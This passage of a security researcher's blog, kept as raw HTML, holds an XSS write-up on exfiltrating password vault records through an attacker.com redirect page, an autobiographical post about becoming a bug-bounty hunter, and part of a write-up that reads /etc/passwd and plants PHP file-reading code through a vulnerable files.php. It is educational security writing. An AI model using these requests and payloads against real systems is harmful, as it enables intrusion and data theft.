2077<tr><td style="text-align: center;"><a href="https://3.bp.blogspot.com/-KMd27LXnPPI/W3036-4vqkI/AAAAAAAAC6k/j5vHx07jc6QY2G6Du1nA49PVb7FpCua8QCLcBGAs/s1600/carbon%25283%2529.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="692" data-original-width="1024" height="432" src="https://3.bp.blogspot.com/-KMd27LXnPPI/W3036-4vqkI/AAAAAAAAC6k/j5vHx07jc6QY2G6Du1nA49PVb7FpCua8QCLcBGAs/s640/carbon%25283%2529.png" width="640" /></a></td></tr>
2078<tr><td class="tr-caption" style="text-align: center;">Final payload ready for execution</td></tr>
2079</tbody></table>
2080<br />
2081<div style="text-align: left;">
2082</div>
2083<br />
2084<br />
2085<br />
2086<div style="text-align: left;">
2087Note that some people will say its a kind of large payload, obviously it is but still we can just load the .js from external Host but in order to avoid setting up CORS, I'm using this technique.</div>
2088<div style="text-align: left;">
2089<br /></div>
2090<div style="text-align: left;">
2091Now i'll just host a <b>exploit.html</b> file having the following code:</div>
2092<div style="text-align: left;">
2093<br /></div>
2094<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
2095<tr><td style="text-align: center;"><a href="https://1.bp.blogspot.com/-0CVatIBIOQc/W305DK0HrFI/AAAAAAAAC6w/7VB62zxatPwv2kwxT_vi6vgqa1ajchCQwCLcBGAs/s1600/carbon%25285%2529.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="803" data-original-width="1024" height="500" src="https://1.bp.blogspot.com/-0CVatIBIOQc/W305DK0HrFI/AAAAAAAAC6w/7VB62zxatPwv2kwxT_vi6vgqa1ajchCQwCLcBGAs/s640/carbon%25285%2529.png" width="640" /></a></td></tr>
2096<tr><td class="tr-caption" style="text-align: center;">HTML file for making a redirection to a larger URL</td></tr>
2097</tbody></table>
2098<div style="text-align: left;">
2099</div>
2100<br />
2101<br />
2102<br />
2103<br />
2104<br />
2105<div style="text-align: left;">
2106Now simply giving a URL for exploit.html, the attacker can make a user redirect form http://attacker.com/exploit.html to the page where large payload is injected.</div>
2107<div style="text-align: left;">
2108<br /></div>
2109<div style="text-align: left;">
2110As a result, we will get the data to our host that we configured for retrieving data:</div>
2111<div style="text-align: left;">
2112<br /></div>
2113<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
2114<tr><td style="text-align: center;"><a href="https://1.bp.blogspot.com/-LgdYp2Zf66w/W30_LeDvz1I/AAAAAAAAC68/slemTGcUViIXipq_sMRtjXnhbh-G08qjACLcBGAs/s1600/Screenshot%2B2018-08-22%2Bat%2B3.46.33%2BPM.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="727" data-original-width="1600" height="290" src="https://1.bp.blogspot.com/-LgdYp2Zf66w/W30_LeDvz1I/AAAAAAAAC68/slemTGcUViIXipq_sMRtjXnhbh-G08qjACLcBGAs/s640/Screenshot%2B2018-08-22%2Bat%2B3.46.33%2BPM.png" width="640" /></a></td></tr>
2115<tr><td class="tr-caption" style="text-align: center;">Exploit successful! Vault information retrieved.</td></tr>
2116</tbody></table>
2117<div style="text-align: left;">
2118</div>
2119<br />
2120<br />
2121<br />
2122<br />
2123<br />
2124<br />
2125<div style="text-align: left;">
2126<br /></div>
2127<div style="text-align: left;">
2128From the screenshot above, you can clearly see that the records stored in the Password Vault were finally retrieved and we successfully exploited and escalated the impact of an XSS vulnerability!</div>
2129<div style="text-align: left;">
2130<br /></div>
2131<div style="text-align: left;">
2132The purpose for this write-up was to clarify that:</div>
2133<br />
2134<br />
2135<br />
2136<blockquote class="tr_bq">
2137<div style="text-align: left;">
2138XSS isn't just a popup, XSS vulnerability can lead to serious damage if properly exploited. Even if it's demonstrated via a harmless popup execution still it poses a risk.</div>
2139</blockquote>
2140<br />
2141If you guys love this write-up, Share! :)<br />
2142<br />
2143Btw, I've uploaded my exploit-code here so you can review: https://gist.github.com/shawarkhanethicalhacker/e40a7c3956fdd24b9fb63d03d94c3d34<br />
2144<br /></div>
2145</span>
2146<script type='text/javascript'>var x="The dark side of XSS and hacking into Password Vault",y="https://www.shawarkhan.com/2018/08/the-dark-side-of-xss-and-hacking-into.html",t="3:51 AM",u="0";rm("p3297707886811690253")</script>
2147</div>
2148<div style='clear: both;'></div>
2149</div>
2150<div class='post-footer'>
2151<div class='post-footer-line post-footer-line-1'></div>
2152<div class='post-footer-line post-footer-line-2'></div>
2153<div class='post-footer-line post-footer-line-3'></div>
2154</div>
2155</div></div>
2156</div>
2157
2158 </div></div>
2159
2160
2161 <div class="date-outer">
2162
2163<h2 class='date-header'><span>Sunday, August 19, 2018</span></h2>
2164
2165 <div class="date-posts">
2166
2167<div class='post-outer'>
2168<div class='col-md-4 col-sm-4 col-xs-12 worksItem worksCateg1 sjps' style='display: inline-block;'>
2169<div class='theme-img'>
2170<div class='post-body entry-content' id='post-body-3682266638595039316' itemprop='description articleBody'>
2171<div class='entry-title'>
2172<h3 align='center' itemprop='name' style='display:none;'>
2173<a href='https://www.shawarkhan.com/2018/08/who-am-i.html'>Who am i? </a>
2174</h3>
2175</div>
2176<div class='body-post'>
2177<span id='p3682266638595039316'><div dir="ltr" style="text-align: left;" trbidi="on">
2178<div class="separator" style="clear: both; text-align: center;">
2179<a href="https://2.bp.blogspot.com/-SBDaC-ue4F8/W3orvwq8DdI/AAAAAAAAC2A/qkbzZlzKF5M0yXLUq30T0vZFD4Kng_nnACLcBGAs/s1600/whoami.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="536" data-original-width="858" height="399" src="https://2.bp.blogspot.com/-SBDaC-ue4F8/W3orvwq8DdI/AAAAAAAAC2A/qkbzZlzKF5M0yXLUq30T0vZFD4Kng_nnACLcBGAs/s640/whoami.jpg" width="640" /></a></div>
2180<h3 style="text-align: left;">
2181<br />The sides of Cyber world</h3>
2182As everyone knows, Hacking is one of the serious discussions when it comes to computers and technology. As the world is getting advance in technology, the risks of getting compromised gets higher due to the fact that the criminals are getting advanced too by using the technology we use. There is always a good side and a bad side of people in every field, just like it there are Hackers who hacks and targets people and there are Hackers who protect them from these kind of attacks. The good ones are mostly known as the White Hats and the other ones are referred as Black Hats. Most of the companies and organizations hire hackers in order to identify security flaws and glitches in their products or applications that can help them prevent cyber attacks and breaches.<br />
2183<br />
2184<h3 style="text-align: left;">
2185Who am I?</h3>
2186I’m <b>Shawar Khan</b>, a Security Researcher & a <b>Synack</b> Red Team (SRT) Member from Pakistan. As the advancements of technology increases, I play my role in protecting the cyber world from security breaches. Consider me a person on the positive side of the community, It’s been over years in the field of Computer Science and Hacking and I have experienced many things in my career as a Hacker which includes data breaches, challenges and tough targets but still I am on my track to get the job done. Basically, the initial job of people like me is to keep the web safe. I mostly participate in Bug Bounty programs on Hackerone and pentest applications so that I can help the companies get safer with time. In my career there were many achievements that I got with a period of time. Over 100 Halls of Fame were awarded by companies like Google, Microsoft, Apple, Amazon, Ebay and some other companies <br />
2187<br />
2188<h3 style="text-align: left;">
2189How i got into Hacking?</h3>
2190This all started with an initial interest in Computers. Before some years ago when I was around 11 years old, I got my first computer and I was quite interested in learning how to use it. At that time I used to play computer games and stuff. I was not having internet connection at that time so I used buy DVDs of softwares and programs that I can explored. After a few years I got interested in designing 3d Models using some programs like 3dsmax, Maya etc. I got quite good grip on computers at that time as I became familiar with most of the things. I was mostly interested in VFX designing and 3d modeling at that time when I was around 13, 14 years old and I created my Facebook account. The step towards the usage of internet was quite interesting, I met few people over there. The main thing was the interest in Hacking that attracted me towards it when one of my friend’s account was hacked and he told me his password was changed unintentionally. I was quite amazed that how come someone change a password remotely. At that time the web application were not very secure and people easily managed to compromise accounts. I started looking for methodologies for doing it. Sadly, all methodologies on the internet were fake as they told me to crack md5 hashes returned by fake websites and all tools available were fake and infected. <br />
2191<br />
2192<h2 style="text-align: left;">
2193The first step on the stairs</h2>
2194I contacted some people on Facebook who claimed to be “Hackers” and they told me to learn PHP and other languages. So I was not sure how I would proceed towards my goal but still I took it as a first step. I learnt different languages like PHP, JS, HTML, Python from codeacademy.com which was a site I used to learn from. I was able to develop scripts and websites using those languages and I got quite good grip over it. By learning those languages i was able to understand how web applications and websites are made but that wasn’t enough as I was still unable to reach my goal. I started to Google for topics related to Hacking and methods on how I can hack websites. In a short period of time I learnt techniques like SQL Injections, Backdooring, Keylogging, Shelling. I was able to hack most of the websites, computers and mobile phones using the techniques that I learnt.<br />
2195<br />
2196<h3 style="text-align: left;">
2197Being on the good side</h3>
2198Instead of hacking websites and compromising things, I wanted to be on the good side and wanted to protect them from people who used to hack and compromise. I identified different vulnerabilities in websites and reported it to them. I was then introduced to Bug Bounty program these were the policy of web applications that if someone report a security issue to them they will reward the researcher. In a few years I earned some decent amount and a number of gifts when I was around 17. In a few years, I was awarded by Google, Microsoft and many other companies and I was featured in many websites and pages which was a turning point in my career. I became well known in the community and kept the good work by learning more. I studied books and blogs of different researchers and had some interesting discoveries which I mostly upload and discuss on my website shawarkhan.com, I do most of my write-ups and articles on my site regarding my discoveries.<br />
2199<br />
2200<h3 style="text-align: left;">
2201Be Independent or Do a Job?</h3>
2202This is another important question from the people who are on track. Most of the people who used to be an independent researcher while some of them want to be on a job. Both things have some cons and pros. I am an independent researcher and I work independently because by working alone I can educate myself and can learn things in my own schedule plus I will be able to face challenges myself. When a person works alone, he can target anything he want and he can work according to his needs while in a job the person has to work on the projects or things selected by the company etc. Doing a job will allow the person to gain professional experience and will also help him adopt a better working environment. I choose to work on my own and everyone has a different perspective.<br />
2203<br />
2204<h3 style="text-align: left;">
2205How can one become a researcher from scratch?</h3>
2206Being a security researcher means to be someone who has mastered the aspects of cyber security. This means if we are referring to Web Application then we have to know about almost everything about it. We need to know about each mechanism and functionalities of it and how things interacts with it. We need to learn about API and how things communicate using that. Once we know how these things works, we will understand each thing from a security perspective. I suggest that a person should learn languages such as PHP, JS, HTML first so the person will learn how to create a web application using them. I did the same at the initial stage when i was learning them, after learning the web application and its creation we have to study these from a security perspective. The book I studied first was the “<b>Web Application Hackers Handbook</b>” ( <a href="https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470">https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470</a> ). This book includes everything you need to know about Web Application Security including its flow and the techniques used to exploit them. The next step is to learn the testing methodology, the book <b>WAHH</b> teachers everything but the OWASP Testing Guide v4 teaches a proper methodology on how one should approach its target. You can find the book at this address ( <a href="https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents">https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents</a> ). For the people who are on track, I’d suggest them to read disclosed reports on Hackerone.com if they want to polish their skills. Resources such as Blogs, Slides and Conference Talks are another important thing to study, they can be found on Youtube and slideshare.com. Conferences such as <b>BlackHat</b>, <b>DEFCON</b> have videos on Youtube regarding different researches and discoveries.<br />
2207<br />
2208<h3 style="text-align: left;">
2209How should a person work daily?</h3>
2210On an average, a beginner should be focusing on Learning Languages around 3, 4 hours daily which includes practice and learning as well while the person who is on track and who is willing to polish his skills should focus on Conference talks and Researcher’s blog and should invest maximum time in it. Learn from your seniors, their research is your source of advancement.<br />
2211<br />
2212<h3 style="text-align: left;">
2213How do i educate myself?</h3>
2214As most of you know, I'm a self learner. When I first started, I only knew XSS vulnerability and using that one vulnerability I XSSed many companies including Google and some other companies so the main goal is to practice more and more. Most of my study material includes “Books” and “Blogs”. In my free time, I select random targets and test them in order to learn new techniques and get maximum experience. Getting experience is the main thing no matter what you are doing, always try to hack into something and everytime you will learn something new. Learn about the services that the target is using. For example if a site is using Wordpress, learn how to hack Wordpress and retest the target once you have mastered its techniques. Whenever you find a vulnerability, don’t just report it. Try to understand the cause, achieve the maximum access possible, chain different vulnerabilities to maximize the impact scale. For example, an XSS vulnerability can be used to achieve Remote Code Execution if we are able to interact with functionalities that make server side changes and can also be used to bypass CSRF protections by stealing CSRF tokens via XHR calls. Similarly, there are many methods to achieve higher impact by chaining vulnerabilities, There are many articles on that on my website. This is another discovery where i chained multiple issues to hijack a user’s account: https://www.shawarkhan.com/2017/09/exploiting-multiple-self-xsses-via.html . <br />
2215<br />
2216<h3 style="text-align: left;">
2217My Approach</h3>
2218My testing methodology is mostly based on server-side penetration testing. When I get a target, I first understand how it works and what the functionalities are. I try to exploit the logic of the application first if the target is a bug bounty program. On the other side, when I am targeting a huge company or a top organization i invest maximum time in the Recon phase of my testing. This includes capturing credentials, sensitive information and panels that the company uses to access higher level functionalities. You can see one of my recent articles https://www.shawarkhan.com/2018/06/getting-php-code-execution-and-leverage.html and https://www.shawarkhan.com/2017/10/remote-code-execution-from-recon-to-root.html that are based on proper Recon. When first approaching a target, the first thing is to map the targets and the structure. Tools like “dirsearch”,”dirb” will help identifying sensitive paths and files on the target server. Tools like “sublist3r”,”amass”,”subfinder” are mostly used for identifying subdomains. When I find a vulnerability, I try to maximize its impact and I write exploit for the vulnerability for the demonstration. This was one of my XSS exploitation tool that was built for exploiting a vulnerability in a famous social app named Sarahah: https://www.shawarkhan.com/2017/08/sarahah-xss-exploitation-tool.html<br />
2219<br />
2220<br />
2221<h4 style="text-align: left;">
2222Covering things up</h4>
2223Now the final thing everyone wants to know is, how can one become a hacker? Well, this isn't easy to answer but keep a few points in mind. You have to be the best out there, you need to learn the fundamentals of what you are targeting first after that you need to learn how it is made how it works and how it interacts with things. <br />
2224<br />
2225<blockquote class="tr_bq">
2226Hacking isn't easy, it's like being <b>Ronaldo</b> or <b>Messi</b></blockquote>
2227<br />
2228<br />
2229<h4 style="text-align: left;">
2230Some of the points to be noted:</h4>
2231<ul style="text-align: left;">
2232<li><b>By a Self-Learner:</b> Why? Because without it you won't learn from things you experience, you won't be able to solve your problems.</li>
2233<li><b>Educate your self on daily basis:</b> read articles, write-ups, videos or slides to educate yourself</li>
2234<li>Know your target, before proceeding make sure to know your target. Invest most of your time in identifying your target identifying the services the target uses.</li>
2235<li><b>Map the target:</b> get a better view of the target's infrastructure in order to get a better understanding on what to target.</li>
2236<li><b>Walk the path no one travels:</b> Don't be the common dude out there. Think out of the Box, think what the developer missed think what common guys are targeting, depending on that choose your path.</li>
2237<li><b>Be a ninja</b>: You need to be fast and precise as a Ninja. Know,Map,Target your victim precisely and quickly. This only works if you are good are talking the different path and if you are unique.</li>
2238</ul>
2239now I hope you guys got my point, you have to be the best of the best. So now go ahead and learn how things work :) You got a long journey to go.</div>
2240</span>
2241<script type='text/javascript'>var x="Who am i? ",y="https://www.shawarkhan.com/2018/08/who-am-i.html",t="7:50 PM",u="0";rm("p3682266638595039316")</script>
2242</div>
2243<div style='clear: both;'></div>
2244</div>
2245<div class='post-footer'>
2246<div class='post-footer-line post-footer-line-1'></div>
2247<div class='post-footer-line post-footer-line-2'></div>
2248<div class='post-footer-line post-footer-line-3'></div>
2249</div>
2250</div></div>
2251</div>
2252
2253 </div></div>
2254
2255
2256 <div class="date-outer">
2257
2258<h2 class='date-header'><span>Friday, June 1, 2018</span></h2>
2259
2260 <div class="date-posts">
2261
2262<div class='post-outer'>
2263<div class='col-md-4 col-sm-4 col-xs-12 worksItem worksCateg1 sjps' style='display: inline-block;'>
2264<div class='theme-img'>
2265<div class='post-body entry-content' id='post-body-4372118351582006091' itemprop='description articleBody'>
2266<div class='entry-title'>
2267<h3 align='center' itemprop='name' style='display:none;'>
2268<a href='https://www.shawarkhan.com/2018/06/getting-php-code-execution-and-leverage.html'>Getting PHP Code Execution and leverage access to panels,databases,server</a>
2269</h3>
2270</div>
2271<div class='body-post'>
2272<span id='p4372118351582006091'><div dir="ltr" style="text-align: left;" trbidi="on">
2273<br />
2274<div class="separator" style="clear: both; text-align: center;">
2275<a href="https://1.bp.blogspot.com/-iaXWIqVotA8/WxDvqdrrZvI/AAAAAAAACyg/D_Xo0wB5A7AAg8Rhn9Y3DlWu6Y_M9I9owCEwYBhgL/s1600/shawarkhan%2B-%2Barticle%2Bimage%2B8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="668" data-original-width="1100" height="388" src="https://1.bp.blogspot.com/-iaXWIqVotA8/WxDvqdrrZvI/AAAAAAAACyg/D_Xo0wB5A7AAg8Rhn9Y3DlWu6Y_M9I9owCEwYBhgL/s640/shawarkhan%2B-%2Barticle%2Bimage%2B8.png" width="640" /></a></div>
2276<br />
2277Greetings everyone,<br />
2278<br />
2279This is Shawar Khan and it's been a while since my last write-up and i wasn't able to do some write-ups due to some reasons so today i decided to do a write-up on one my recent discovery and my approach using which i was able to get read,write access on a server plus i got access to their panels and database as well.<br />
2280<br />
2281So, lets get started.<br />
2282<br />
2283<h4 style="text-align: left;">
2284Taking the initial steps:</h4>
2285Let the company be Redacted.com, the first approach was to map the target application in order to get a clear view of the target surface. Fired up some enumerators,scrappers and stuff so i can get all the public subdomains of target application but there wasn't much subdomains found and most of them were static so i moved on to Host discovery phase in which applications like <b>Shodan</b> & <b>Censys</b> plays their role.<br />
2286<br />
2287A quick search by domain name on Censys and found the following host:<br />
2288<div class="separator" style="clear: both; text-align: center;">
2289<a href="https://1.bp.blogspot.com/-3oxrFkvabdM/WxDeQ7hsgkI/AAAAAAAACxI/tKdy7tImk_8xd7JtF9MqPpqh0asCRfHsQCLcBGAs/s1600/Screen%2BShot%2B2018-06-01%2Bat%2B10.47.45%2BAM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="352" data-original-width="1600" height="140" src="https://1.bp.blogspot.com/-3oxrFkvabdM/WxDeQ7hsgkI/AAAAAAAACxI/tKdy7tImk_8xd7JtF9MqPpqh0asCRfHsQCLcBGAs/s640/Screen%2BShot%2B2018-06-01%2Bat%2B10.47.45%2BAM.png" width="640" /></a></div>
2290<br />
2291Alright, then i had a subdomain <b>server1.redacted.com </b>which returned the following contents when visited over http:<br />
2292<br />
2293<br />
2294<div class="separator" style="clear: both; text-align: center;">
2295<a href="https://4.bp.blogspot.com/-XtxlgFIXEaE/WxDewjGDTmI/AAAAAAAACxQ/jNCsSCWwuR40-9Sxx65Kkz0rNWZISFpZgCLcBGAs/s1600/Screen%2BShot%2B2018-06-01%2Bat%2B10.50.35%2BAM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="728" data-original-width="1600" height="290" src="https://4.bp.blogspot.com/-XtxlgFIXEaE/WxDewjGDTmI/AAAAAAAACxQ/jNCsSCWwuR40-9Sxx65Kkz0rNWZISFpZgCLcBGAs/s640/Screen%2BShot%2B2018-06-01%2Bat%2B10.50.35%2BAM.png" width="640" /></a> </div>
2296<div class="separator" style="clear: both; text-align: center;">
2297<br /></div>
2298<div class="separator" style="clear: both; text-align: left;">
2299They were using LiteSpeed server and returned a 403 Forbidden error. Means that we were not allowed to access the main page so in these kind of cases all we need to do is the enumeration of their files and directories places to get a proper map of the application. By simply applying google dorks and search on some engines i found that this subdomain was not indexed and nothing returned any kind of contents that i can make use of.</div>
2300<div class="separator" style="clear: both; text-align: left;">
2301<br /></div>
2302<div class="separator" style="clear: both; text-align: left;">
2303What now? Enumerators right?</div>
2304<div class="separator" style="clear: both; text-align: left;">
2305<br /></div>
2306<div class="separator" style="clear: both; text-align: left;">
2307I fired up dirb, dirsearch and some other magical tools with some custom wordlists and stuff and found that the server blocked the IP after every 10 requests, i could add some delays and use some proxies to bypass this IP based protection but that won't do the trick as we had to do an intense enumeration over that target so that won't be the trick.</div>
2308<div class="separator" style="clear: both; text-align: left;">
2309<br /></div>
2310<h4 class="separator" style="clear: both; text-align: left;">
2311Going though a different path:</h4>
2312<div class="separator" style="clear: both; text-align: left;">
2313So as everything had failed such as tools,search engines and areas having public info the only way left was to check for their snapshots and sitemap that was cached by wayback(archive.org) web archive. This trick worked every time for my and mostly got backups and stuff on servers when there is a deadend like this one.</div>
2314<div class="separator" style="clear: both; text-align: left;">
2315<br /></div>
2316<div class="separator" style="clear: both; text-align: left;">
2317So, a simply request to cdx endpoint of wayback web archive with the specified domain we got the following results:</div>
2318<div class="separator" style="clear: both; text-align: left;">
2319<br /></div>
2320<div class="separator" style="clear: both; text-align: center;">
2321<a href="https://3.bp.blogspot.com/-3-T_UQ9syt4/WxDjOzjCvHI/AAAAAAAACxc/6jJgBLXnVaED4vwNIKI-bXB5EPqmpWhCACLcBGAs/s1600/shawarkhan%2B-%2Barticle%2Bimage%2B2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="716" data-original-width="1336" height="340" src="https://3.bp.blogspot.com/-3-T_UQ9syt4/WxDjOzjCvHI/AAAAAAAACxc/6jJgBLXnVaED4vwNIKI-bXB5EPqmpWhCACLcBGAs/s640/shawarkhan%2B-%2Barticle%2Bimage%2B2.png" width="640" /></a></div>
2322<div class="separator" style="clear: both; text-align: left;">
2323<br /></div>
2324<div class="separator" style="clear: both; text-align: left;">
2325<br /></div>
2326<div class="separator" style="clear: both; text-align: left;">
2327So, got something that i can make use of somehow. There were 2 files which exists, the <b>GetAndroid.php</b> returned nothing but a blank page but when accessed <b>files.php</b> it returned some PHP errors as error_reporting was turned on:</div>
2328<div class="separator" style="clear: both; text-align: left;">
2329</div>
2330<div class="separator" style="clear: both; text-align: left;">
2331<a href="https://1.bp.blogspot.com/-Hbbh8eCM_0I/WxDkNDSUZEI/AAAAAAAACxk/p5eN_C3qndoh-0XX-O6lmwq-odhQUyaEgCLcBGAs/s1600/shawarkhan%2B-%2Barticle%2Bimage%2B3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="320" data-original-width="1300" height="156" src="https://1.bp.blogspot.com/-Hbbh8eCM_0I/WxDkNDSUZEI/AAAAAAAACxk/p5eN_C3qndoh-0XX-O6lmwq-odhQUyaEgCLcBGAs/s640/shawarkhan%2B-%2Barticle%2Bimage%2B3.png" width="640" /></a> </div>
2332<div class="separator" style="clear: both; text-align: left;">
2333The error returned contains the server path and the username but which seems interesting was the error that was undefined index. That simply mean't it was using a specific index which was not passed which in this case was the <b>url</b> parameter. So i tried to pass the new parameter with some random value and the following was the response:</div>
2334<div class="separator" style="clear: both; text-align: left;">
2335<br /></div>
2336<div class="separator" style="clear: both; text-align: center;">
2337<a href="https://4.bp.blogspot.com/-W8V7w0yj5T8/WxDlXZ6xldI/AAAAAAAACxw/V7rw8IDckdMEdiTJlauE8gsqkdswnp2awCLcBGAs/s1600/shawarkhan%2B-%2Barticle%2Bimage%2B4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="273" data-original-width="1600" height="108" src="https://4.bp.blogspot.com/-W8V7w0yj5T8/WxDlXZ6xldI/AAAAAAAACxw/V7rw8IDckdMEdiTJlauE8gsqkdswnp2awCLcBGAs/s640/shawarkhan%2B-%2Barticle%2Bimage%2B4.png" width="640" /></a></div>
2338<div class="separator" style="clear: both; text-align: left;">
2339Now this is where the fun part starts! The server returned an error message which was having another index missing this time it was a <b>data</b> parameter. But the thing that caught my attention was the warning that said <b>file_get_contents(woot): failed to open stream: No such file or directory</b>!</div>
2340<div class="separator" style="clear: both; text-align: left;">
2341<br /></div>
2342<div class="separator" style="clear: both; text-align: left;">
2343Yes! My input which i gave to <b>url</b> parameter was directly passed to the file_get_contents function of PHP which is used to retrieve contents of a given file. Before moving further lets take a quick note of the functionality of files.php:</div>
2344<div class="separator" style="clear: both; text-align: left;">
2345<br /></div>
2346<div class="separator" style="clear: both; text-align: left;">
23471. There were 2 parameters ( <b>url </b>, <b>data</b> )</div>
2348<div class="separator" style="clear: both; text-align: left;">
23492. url parameter was loading the content using file_get_contents</div>
2350<div class="separator" style="clear: both; text-align: left;">
23513. data parameter was also added to the content that was ready to made</div>
2352<div class="separator" style="clear: both; text-align: left;">
23534. The content is then uploaded to another domain in the extension that we choosed</div>
2354<div class="separator" style="clear: both; text-align: left;">
2355<br /></div>
2356<div class="separator" style="clear: both; text-align: left;">
2357If we input url=woot.txt , a file such was random-num_woot.txt will be created and it will have the contents of the file that was given in url parameter. So i tried making a request with the following params:</div>
2358<div class="separator" style="clear: both; text-align: left;">
2359<br /></div>
2360<div class="separator" style="clear: both; text-align: left;">
2361http://sub.redacted.com/files.php?url=/etc/passwd&data=</div>
2362<div class="separator" style="clear: both; text-align: left;">
2363<br /></div>
2364<div class="separator" style="clear: both; text-align: left;">
2365and got a file uploaded on http://sub1.redacted.com/wafiles/randomnum_etc_passwd.txt</div>
2366<div class="separator" style="clear: both; text-align: left;">
2367i tried to open it and it was having the following content:</div>
2368<div class="separator" style="clear: both; text-align: left;">
2369<br /></div>
2370<div class="separator" style="clear: both; text-align: center;">
2371<a href="https://3.bp.blogspot.com/-eATxGcUZk84/WxDqwlNraBI/AAAAAAAACx8/Di-_kHrkZ50rhLqT5XyKTzpWOT5vieeqQCLcBGAs/s1600/shawarkhan%2B-%2Barticle%2Bimage%2B5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1489" data-original-width="1600" height="594" src="https://3.bp.blogspot.com/-eATxGcUZk84/WxDqwlNraBI/AAAAAAAACx8/Di-_kHrkZ50rhLqT5XyKTzpWOT5vieeqQCLcBGAs/s640/shawarkhan%2B-%2Barticle%2Bimage%2B5.png" width="640" /></a></div>
2372<div class="separator" style="clear: both; text-align: left;">
2373<br /></div>
2374<div class="separator" style="clear: both; text-align: left;">
2375and bingo! i was able to read the password file. Now the interesting part was that it was loading local files and then it was uploading the local file on another domains so it loaded the contents of passwd file on their separate subdomain which i was able to access.</div>
2376<div class="separator" style="clear: both; text-align: left;">
2377<br /></div>
2378<div class="separator" style="clear: both; text-align: left;">
2379Note the random numbers after | at the end of the file, that is where the input of "data" parameter is reflected. So that means we are able to create any extension on the domain and able to inject any content. I tried creating a php file with an echo command using the following data:</div>
2380<div class="separator" style="clear: both; text-align: left;">
2381<br /></div>
2382<div class="separator" style="clear: both; text-align: left;">
2383http://sub.redacted.com/files.php?url=file.php&data=<?php echo 1337; ?></div>
2384<div class="separator" style="clear: both; text-align: left;">
2385<br /></div>
2386<div class="separator" style="clear: both; text-align: left;">
2387and a php file was created as 32142410_file.php and upon opening it returned <b>1337</b> which means my echo command was successfully executed! Sadly i was not able to execute any kind of system command by any mean as they were disabled. So instead of making a file with content and opening it again i simply uploaded a php code with file_get_contents() and the following was the data:</div>
2388<div class="separator" style="clear: both; text-align: left;">
2389<br /></div>
2390<div class="separator" style="clear: both; text-align: left;">
2391 http://sub.redacted.com/files.php?url=s1.php&data=<?php $fsss=file_get_contents($_GET['file'],true);echo $fsss; ?></div>
2392<div class="separator" style="clear: both; text-align: left;">
2393<br /></div>
2394<div class="separator" style="clear: both; text-align: left;">
2395This will simply return the content of filename that i will provide as value of file parameter and i got the following response from files.php:</div>
2396<div class="separator" style="clear: both; text-align: center;">
2397<a href="https://4.bp.blogspot.com/-8ciY0ot-zg8/WxDt012p8uI/AAAAAAAACyI/CSyYJ7BVMJctBqzz7uiUHi3WtX1-bVCogCLcBGAs/s1600/shawarkhan%2B-%2Barticle%2Bimage%2B7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="219" data-original-width="1600" height="84" src="https://4.bp.blogspot.com/-8ciY0ot-zg8/WxDt012p8uI/AAAAAAAACyI/CSyYJ7BVMJctBqzz7uiUHi3WtX1-bVCogCLcBGAs/s640/shawarkhan%2B-%2Barticle%2Bimage%2B7.png" width="640" /></a></div>
2398<div class="separator" style="clear: both; text-align: left;">
2399accessing the newly uploaded file with data=/etc/passwd i got the following:</div>
2400<div class="separator" style="clear: both; text-align: center;">
2401<a href="https://4.bp.blogspot.com/-KzAdjKnx3fA/WxDuetbNGfI/AAAAAAAACyQ/JgZd9GSwFT0xvUr3KuKHFvHfIaunS2JBACLcBGAs/s1600/shawarkhan%2B-%2Barticle%2Bimage%2B6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="280" data-original-width="1068" height="166" src="https://4.bp.blogspot.com/-KzAdjKnx3fA/WxDuetbNGfI/AAAAAAAACyQ/JgZd9GSwFT0xvUr3KuKHFvHfIaunS2JBACLcBGAs/s640/shawarkhan%2B-%2Barticle%2Bimage%2B6.png" width="640" /></a></div>
2402<div class="separator" style="clear: both; text-align: left;">
2403<br /></div>
2404<div class="separator" style="clear: both; text-align: left;">
2405 Now we got a pretty quick way to read contents of files. I uploaded another code using which i was able to get list of files in a specific directories so i can get a better view of what exists on the server:</div>
2406<div class="separator" style="clear: both; text-align: center;">
2407<a href="https://3.bp.blogspot.com/-iaXWIqVotA8/WxDvqdrrZvI/AAAAAAAACyc/tftJuMEsKjsTAzuQwusypuLj8cGfUd3sgCLcBGAs/s1600/shawarkhan%2B-%2Barticle%2Bimage%2B8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="668" data-original-width="1100" height="388" src="https://3.bp.blogspot.com/-iaXWIqVotA8/WxDvqdrrZvI/AAAAAAAACyc/tftJuMEsKjsTAzuQwusypuLj8cGfUd3sgCLcBGAs/s640/shawarkhan%2B-%2Barticle%2Bimage%2B8.png" width="640" /></a></div>
2408<div class="separator" style="clear: both; text-align: left;">
2409<br /></div>
2410<div class="separator" style="clear: both; text-align: left;">
2411Next using both files i started downloading <b>sourcecodes</b> of different PHP files,config files,logs and stuff and kept testing if i could bypass their security and able to execute codes. But after hours spending on the site i decided to retest it on the next day.</div>
2412<div class="separator" style="clear: both; text-align: left;">
2413<br /></div>
2414<h3 class="separator" style="clear: both; text-align: left;">
2415The Next Day</h3>
2416<div class="separator" style="clear: both; text-align: left;">
